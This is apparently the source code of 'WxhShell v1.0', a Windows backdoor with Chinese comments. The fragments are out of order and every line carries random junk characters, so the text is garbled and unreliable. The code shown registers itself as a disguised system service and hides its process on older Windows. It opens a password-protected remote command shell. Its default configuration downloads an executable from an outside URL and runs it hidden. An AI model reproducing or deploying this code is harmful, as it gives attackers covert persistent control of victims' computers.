DWORD PebBaseAddress; :L&d>Ii|'
DWORD AffinityMask; rE5q
BEh
DWORD BasePriority; 6d#:v"^,
ULONG UniqueProcessId; [}1+=Ub
ULONG InheritedFromUniqueProcessId; ,enU`}9V*
} PROCESS_BASIC_INFORMATION; =AVr<kP
k4!z;Yq
PROCNTQSIP NtQueryInformationProcess; s4kkzTnXE3
y7LT;`A
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f{j.jfl\x
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ed ,O>(
z'rB_l
HANDLE hProcess; +H `FC
PROCESS_BASIC_INFORMATION pbi; E==vk~cz
%.mHV7c)%
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w.9'TR
if(NULL == hInst ) return 0; m{VC1BkZ
9i`sSi8
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V.H<KyaJ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JQdeI+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); okSCM#&:[2
a?gziCmS?C
if (!NtQueryInformationProcess) return 0; 5.o{A#/NTl
A{(<#yRfg
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3B6"T;_
if(!hProcess) return 0; laX67Vjv
)m4O7'2G
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o?]g
\4FKZ>1+R
CloseHandle(hProcess); W4V
!7_
1(*Pa
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SGA!%=Lp
if(hProcess==NULL) return 0; ^Ss4<
Xb/^n.>
HMODULE hMod; pU)g93
char procName[255]; qR>"r"Fq
unsigned long cbNeeded; D8r=Vf
??g `c=R!V
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hrZ=8SrW
k\wcj^"cb
CloseHandle(hProcess); [;*Vm0>t
^cz;UQX~}
if(strstr(procName,"services")) return 1; // 以服务启动 |d0,54!
cUPC8k.1
return 0; // 注册表启动 <RPy
} O%R*1
P9
[T>a}}@
// 主模块 <-%OXEG
int StartWxhshell(LPSTR lpCmdLine) 7$HN5T\!
{ dLnu\bSF
SOCKET wsl; ,f2tG+P
BOOL val=TRUE; [7|j:!
int port=0; { kF"<W
struct sockaddr_in door; szG 0?e
*LZ^0c: r
if(wscfg.ws_autoins) Install(); vi-mn)L6#
%I>-_el
port=atoi(lpCmdLine); Or9`E(
q(YFt*(;w
if(port<=0) port=wscfg.ws_port; oyt#C HX
yDn8{uI
WSADATA data; InCo[ 8SI
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @w]z"UCwV@
DD(K@M
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .dStV6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X1GpLy)p
door.sin_family = AF_INET; ++ZtL\h{7
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6;^ e
door.sin_port = htons(port); TP-<Lhy
H.R7,'9
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2B<0|EGtzw
closesocket(wsl); '
+*,|;?
return 1; (bBr O74lR
} KWzJ
Z.v2!u
if(listen(wsl,2) == INVALID_SOCKET) { -g`3;1EV^
closesocket(wsl); Z-wvdw]$
return 1; ]0yYMnqvr
} erQ0fW
Wxhshell(wsl); {6uh Ub
WSACleanup(); -'jPue2\
A0hfy|1#L
return 0; HGJfj*JH
5[{#/!LX)
} ?*ni5\y5o
yxpDQO~x
// 以NT服务方式启动 )rP)-op|A
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =Lyo]8>,X
{ Edi`x5"l
DWORD status = 0; G>q16nS~KP
DWORD specificError = 0xfffffff; *gxo!F}
eJm7}\/6`
serviceStatus.dwServiceType = SERVICE_WIN32; Zagj1OV|
serviceStatus.dwCurrentState = SERVICE_START_PENDING; iNxuQ7~
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S5$sB{\R
serviceStatus.dwWin32ExitCode = 0; qauZ-Qoc9
serviceStatus.dwServiceSpecificExitCode = 0; zJJ6"9sl
serviceStatus.dwCheckPoint = 0; djxM/"xo
serviceStatus.dwWaitHint = 0; dU4G!
,@b7N[h
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8!c#XMHV
if (hServiceStatusHandle==0) return; Qn*a#]p
3n=`SLj/a
status = GetLastError(); qK9\oB%s7
if (status!=NO_ERROR) +[sZE
X
{ uDZ$'a
serviceStatus.dwCurrentState = SERVICE_STOPPED; O!c b-
serviceStatus.dwCheckPoint = 0; RXj6L~vs5_
serviceStatus.dwWaitHint = 0; /W,K% s]
serviceStatus.dwWin32ExitCode = status; ZSu0e%
serviceStatus.dwServiceSpecificExitCode = specificError; N%,!&\L
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \\WIu?
return; h6Vm;{~
} Jf,)Y>EI
D3>;X= 1
serviceStatus.dwCurrentState = SERVICE_RUNNING; {Va"o~io
serviceStatus.dwCheckPoint = 0; aB(6yBBoxj
serviceStatus.dwWaitHint = 0; L,XWX8
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~
}<!ON;
} d/57;6I_
| Ts0h?"a
// 处理NT服务事件,比如:启动、停止 SgOn:xg;3L
VOID WINAPI NTServiceHandler(DWORD fdwControl) zgdOugmmt_
{ &$vW
switch(fdwControl) O-M4NKl]6
{ f8DF>]WW
case SERVICE_CONTROL_STOP: -cjwa-9
~
serviceStatus.dwWin32ExitCode = 0; JERWz~n}
serviceStatus.dwCurrentState = SERVICE_STOPPED; r="wd
serviceStatus.dwCheckPoint = 0; W|PKcZ ]Uc
serviceStatus.dwWaitHint = 0; |Ki\Q3O1
{ ^}-(8~_en
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <V3N!H_d
} ydNcbF%K
return; j]#-DIL
case SERVICE_CONTROL_PAUSE: NY5?T0/[
serviceStatus.dwCurrentState = SERVICE_PAUSED; 0#}@-e
break; &DMKZMj<Q*
case SERVICE_CONTROL_CONTINUE: !~{AF|2f
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2[\I{<2/9
break; !KUV,>L
case SERVICE_CONTROL_INTERROGATE: *CA7
{2CX
break; ?s<'3I{F`
}; dz',!|>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4s!rrDN
} HqW|
G?Y2 b
// 标准应用程序主函数 He4sP`&I
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {e4ILdXM
{ KfXE=v{t
DcN s`2
// 获取操作系统版本 $lj1924?^
OsIsNt=GetOsVer(); QY<{S&k9
GetModuleFileName(NULL,ExeFile,MAX_PATH); {YCquoF
<t{T]i+
// 从命令行安装 )+[{MR'
if(strpbrk(lpCmdLine,"iI")) Install(); Z#wmEc.}C
'"H'#%RU
// 下载执行文件 eCYgi7?
if(wscfg.ws_downexe) { >Xq:?}-m2
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lc%2Pi[X
WinExec(wscfg.ws_filenam,SW_HIDE); "YlN_U
} K8.=bGyg
Z2Bl$ \
if(!OsIsNt) { yfS`g-j{~
// 如果时win9x,隐藏进程并且设置为注册表启动 GM6Y`iU
HideProc(); ^ ~HV`s
StartWxhshell(lpCmdLine); u-zl- ?Ne
} 0k I.dX)
else Q:\I
%o
if(StartFromService()) A*BIudli
// 以服务方式启动 Gw6*0&3')
StartServiceCtrlDispatcher(DispatchTable); FAVw80?5k
else &|7pu=
// 普通方式启动 8>Hnv]p
StartWxhshell(lpCmdLine); *yqEl
O
(5%OAjW
return 0; sgDlT=c'
} Qo{Ez^q@J
M0<gea\ =
k,S'i#4q4
~S)o('
=========================================== 1}mIzrY
:]Jwcp
p]uwGWDI
T~UKWAKX}
X8Px
|1H"ya
" &[}T41
k#TonT
#include <stdio.h> )/h~csy:~
#include <string.h> [k(oQykq
#include <windows.h> PuAcsYQhN
#include <winsock2.h> -.:[a3c?
#include <winsvc.h> }tT"vCu
#include <urlmon.h> >Liv].
$VYMAk&\
#pragma comment (lib, "Ws2_32.lib") R_ojK&%
#pragma comment (lib, "urlmon.lib") I ;N)jj`b
'u$e2^
#define MAX_USER 100 // 最大客户端连接数 bNR}Mk]?
#define BUF_SOCK 200 // sock buffer @2-Eky
#define KEY_BUFF 255 // 输入 buffer ++-\^'&1
=CEQYk-y1
#define REBOOT 0 // 重启 ]?tsYXU j
#define SHUTDOWN 1 // 关机 ]%m0PU#
2xH9O{
#define DEF_PORT 5000 // 监听端口 `/JJ\`Pu
QIVpO /@
#define REG_LEN 16 // 注册表键长度 /w{DyHT
#define SVC_LEN 80 // NT服务名长度 KK`P<^8J
g5/%}8[-
2
// 从dll定义API A.m#wY8
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dhpEBJ
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pc<")9U%/
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7f_4qb8
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w1EYXe
PhF3' ">
// wxhshell配置信息 *yOpMxE
struct WSCFG { ma>{((N
int ws_port; // 监听端口 2`/JT
char ws_passstr[REG_LEN]; // 口令 g,U~3#
int ws_autoins; // 安装标记, 1=yes 0=no D+d\<":
char ws_regname[REG_LEN]; // 注册表键名 oqHI`Tu
char ws_svcname[REG_LEN]; // 服务名 b5_(Fv
char ws_svcdisp[SVC_LEN]; // 服务显示名 &mDKpYrB
char ws_svcdesc[SVC_LEN]; // 服务描述信息 x F7C1g(
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]kx)/n-K
int ws_downexe; // 下载执行标记, 1=yes 0=no &}31q`
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5FcKY_
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Gd1%6}<~
*_}|EuY
}; C"_f3[Z
7$'%*|C.
// default Wxhshell configuration ]0.? 1s e
struct WSCFG wscfg={DEF_PORT, w35r\x +
"xuhuanlingzhe", /~V.qisZ
1, >tXn9'S
"Wxhshell", kVE%
"
"Wxhshell", (nfra,'
"WxhShell Service", l;zp f|.Vc
"Wrsky Windows CmdShell Service", =XsdR?C
"Please Input Your Password: ", {ecmOxKP}
1, aW]!$
"http://www.wrsky.com/wxhshell.exe", 9B")/Hz_
"Wxhshell.exe" ZYZQ?FN
}; GJW+'-f
G=a.Wff
// 消息定义模块 <T{2a\i 4f
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]8KAat~J
char *msg_ws_prompt="\n\r? for help\n\r#>"; gE%{#&